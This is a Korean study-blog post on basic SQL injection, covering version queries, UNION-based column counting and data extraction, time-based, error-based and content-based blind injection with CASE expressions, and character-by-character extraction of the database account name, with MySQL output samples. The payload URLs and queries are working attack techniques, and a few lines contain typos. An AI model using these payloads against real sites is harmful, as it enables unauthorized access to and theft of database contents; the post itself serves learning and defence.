일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- 웹서버구축
- web 취약점
- sql injection table name
- DOM 객체
- SQL INJECTION DB NAME
- Union injection
- HTTP request smuggling
- 공부하는 블로그
- Injection 취약점
- Linux
- 웹 해킹 기초
- JS
- web 보안
- JavaScript
- portswigger academy
- sql injection
- php-fpm
- 웹 기초
- 웹 보안
- nginx
- SQL having group by
- SQL 주석
- sql 인젝션 기초
- SQL Injection basic
- sql injection 데이터 추출
- SQL 인젝션
- BOM 객체
- Injection 공격 기초
- Injection 숫자형
- http 취약점
- Today
- Total
IMLENA
SQL Injection 기초 - 일반적인 SQL 인젝션 공격 본문
2021.09.02 - [WEB] - SQL Injection 기초 - DB Error 기준
2021.09.03 - [WEB] - SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등
- DBMS 별 버전 출력
DBMS | QUERY |
MSSQL MySQL ORACLE |
SELECT @@vsersion SELECT version() SELECT @@version SELECT banner from v$version SELECT banner from v$version where row num=1 |
- UNION 구문이용 데이터 추출
UNION 두개의 쿼리를 결과를 합치는데 사용하며, 두 개의 쿼리는 정확히 같은 수의 컬럼을 출력해야한다.
두개의 SELECT 구문의 해당 열의 데이터는 반드시 같은 형이어야 한다.
EX)
Select column1, column2 from table1 where id=10 union select column1,column2 from table2;
에서 우리는 table2의 컬럼 형식을 모르기 때문에 null 값으로 대체한다.
select column1, column2 from table1 where id=10 UNION select null,null... from table2
select column1, column2 from table1 where id=10 UNION select null,null... --
select column1, column2 from table1 where id=10 UNION select null,null... from dual
dual 이란 모든 사용자가 접근 가능한 테이블, ORACLE에서 from이 꼭 필요하기 때문에 사용
컬럼의 개수를 파악하기 위한 다른 방법 - Order by
select column1, column2 from table 1 where id=10 order by 1 (2,3,4,5....)ㄴ
에러를 출력하지 않는다면, 해당 값이 컬럼의 수 이거나 그것보다 많다고 판단
컬럼의 수를 확인 하고 나서는 컬럼 위치 어디에서 데이터가 출력되는 지 확인 해야한다.
select column1, column2 from table1 where id=10 UNION select null,null... from dual 에서
select column1, column2 from table1 where id=10 UNION select 'test',null... from dual
select column1, column2 from table1 where id=10 UNION select null,'test'... from dual
위와 같이 문자열/숫자열 넣어보면서 출력되는 위치를 찾는다.
select null, system_user + ' | ' + db_name, null,null -> 2번째 컬럼이 출력되는 곳에 합쳐서 두개의 결과가 나타남
- 시간기반
EX)
http://test.com/shop.php?id=2;if+(system_user='sa')+WAITFOR+DELAY+'0:0:5'--
system_user는 현재 로그인해 있는 계정을 출력하는 T-SQL(Transact-SQL)함수이다.
system_user의 값에 따라 HTML에 출력되는 시간이 다르다.
EX 2)
select decode(substr(user,1,1),'A',(select count(*) from all_objects,all_objectsmall_objects),0)
- 에러기반
is_srvrolemember('그룹이름') - 사용자가 특정그룹에 속해 있으면 1, 아니면 0, 특정그룹이 존재하지 않으면 null 값을 반환하는 함수
case 구문
select * from item where idx=1/ (case when (system_user='sa') then 1 else 0 end);
- Content 기반
select * from item where idx=1 +(case when (system_user='sa') then 1 else 0 end);
system_user가 sa면 idx=2에 해당하는 데이터를 sa가 아니면 idx=1에 해당하는 데이터를 불러온다.
오류가 발생하지 않기 때문에 유용한 방법이다.
http://example.com/shop.php?color='white'; |
select * from products where color='white' - 기본 구문 select * from products where color='whjte' - 에러 or 빈값 반환할 수 있는 구문 select * from products where color='wh'+'jte' - 연결자 이용 select * from products where color='wh'+char(106)+'te'; -- char(106) 이용 select * from products where color='wh'+char(105+(case when (system_user='sa') then 1 else 0)+'te'; system_user가 sa이면 char(106)인 j가 아니면, char(105)인 i를 출력할 것이다. |
* char(97) 이 a가 아니라 0x61 이런식으로 출력이 된다.
이런경우에 cast(char(97) as char); 를 사용하면 정상적으로 97에 해당하는 a를 출력한다.
- 확장
-- 사용자 계정의 길이 확인
select len(system_user)
만약 사용자의 계정이 root_user라면
http://example.com/list.php?id=3/ (case when (len(system_user) >8) then 1 else 0 end)
에러를 출력하지 않음
http://example.com/list.php?id=3/ (case when (len(system_user) >9) then 1 else 0 end)
http://example.com/list.php?id=3/ (case when (len(system_user) >10) then 1 else 0 end)
에러를 출력 따라서 system_user의 길이가 9라는 것을 알 수 있다.
mysql 에서 case 구문 실행시 system_user를 user()로 변경함
mysql> select char(105 + (case when ('a'='a') then 1 else 0 end)); +----------------------------------------------------------------------------------------------------------+ | char(105 + (case when ('a'='a') then 1 else 0 end)) | +----------------------------------------------------------------------------------------------------------+ | 0x6A | +----------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec) |
mysql> select char(105 + (case when (user()='root') then 1 else 0 end)); +----------------------------------------------------------------------------------------------------------------------+ | char(105 + (case when (user()='root') then 1 else 0 end)) | +----------------------------------------------------------------------------------------------------------------------+ | 0x69 | +----------------------------------------------------------------------------------------------------------------------+ 1 row in set (0.00 sec) |
계정이름의 길이를 확인 하였으니 다음은 계정명을 추출하는 단계이다.
http://example.com/list.php?id=3/ (case when (ascii(substring(select system_user),1,1)) > 64 then 1 else 0 end)
mysql> select cast(char(ascii(substr(user(),1,1))) as char)='r' ; +---------------------------------------------------+ | cast(char(ascii(substr(user(),1,1))) as char)='r' | +---------------------------------------------------+ | 1 | +---------------------------------------------------+ 1 row in set (0.00 sec) mysql> select cast(char(ascii(substr(user(),1,1))) as char)='o' ; +---------------------------------------------------+ | cast(char(ascii(substr(user(),1,1))) as char)='o' | +---------------------------------------------------+ | 0 | +---------------------------------------------------+ 1 row in set (0.00 sec) |
mysql 에서 예씨 ascii 값을 비교해도 되고 char로 문자형으로 바꾼뒤 a부터 ~ z까지 대입할 수 도 있다.
실제 블라인드 테스트 진행시에는 비트연산을 활용하는 것이 빠르고 간편한 방법이다.
출처: 철통보안,SQL Injection 공격과 방어의 원리
'WEB' 카테고리의 다른 글
SQL Injection - DB 스키마 열거 (0) | 2021.09.06 |
---|---|
SQL Injection 기초 - MS/ORACLE/MY SQL , 시간지연, 주석 등 (0) | 2021.09.03 |
HTTP request smuggling 취약점 3 - exploit, mitigation (0) | 2021.09.03 |
SQL Injection 기초 - DB Error 기준 (0) | 2021.09.02 |
HTTP request Smuggling 취약점 2 (0) | 2021.09.02 |